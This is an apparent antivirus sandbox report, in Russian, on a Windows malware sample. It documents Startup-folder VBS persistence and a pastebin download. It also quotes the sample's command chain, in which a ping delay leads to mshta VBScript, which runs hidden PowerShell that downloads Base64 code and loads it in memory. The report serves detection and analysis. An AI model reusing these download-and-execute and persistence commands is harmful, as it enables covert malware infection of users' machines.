Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- %APPDATA%\microsoft\windows\start menu\programs\startup\<Имя файла>.vbs
Вредоносные функции
Загружает
- h+t+t+p+s+:+//+p+a+s+t+e+b+i+n+.+c+o+m/raw/wxgxsdyq
Изменения в файловой системе
Создает следующие файлы
- nul
Сетевая активность
TCP
- 'pa###bin.com':443
- 'ne#.###ya2020.com.ly':1414
UDP
- DNS ASK pa###bin.com
- DNS ASK ne#.###ya2020.com.ly
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c ping 127.0.0.1 -n 10 > nul & mshta.exe vbscript:CreateObject("Wscript.Shell").Run("powershell.exe -noexit -command [Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object ...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noexit -command [Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('h'+'t'+'t'+'p'+'s'+':'+'//'+'p'+'a'+'s'+'t'+'e'+'b'+'i'+'n'+'.'+'c'+'o...' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c ping 127.0.0.1 -n 10 > nul & mshta.exe vbscript:CreateObject("Wscript.Shell").Run("powershell.exe -noexit -command [Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object ...
- '<SYSTEM32>\ping.exe' 127.0.0.1 -n 10
- '<SYSTEM32>\mshta.exe' vbscript:CreateObject("Wscript.Shell").Run("powershell.exe -noexit -command [Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('h'+'t'+'t'+...
- '<SYSTEM32>\wscript.exe' "%TEMP%\tmpAF5E.tmp.vbs"
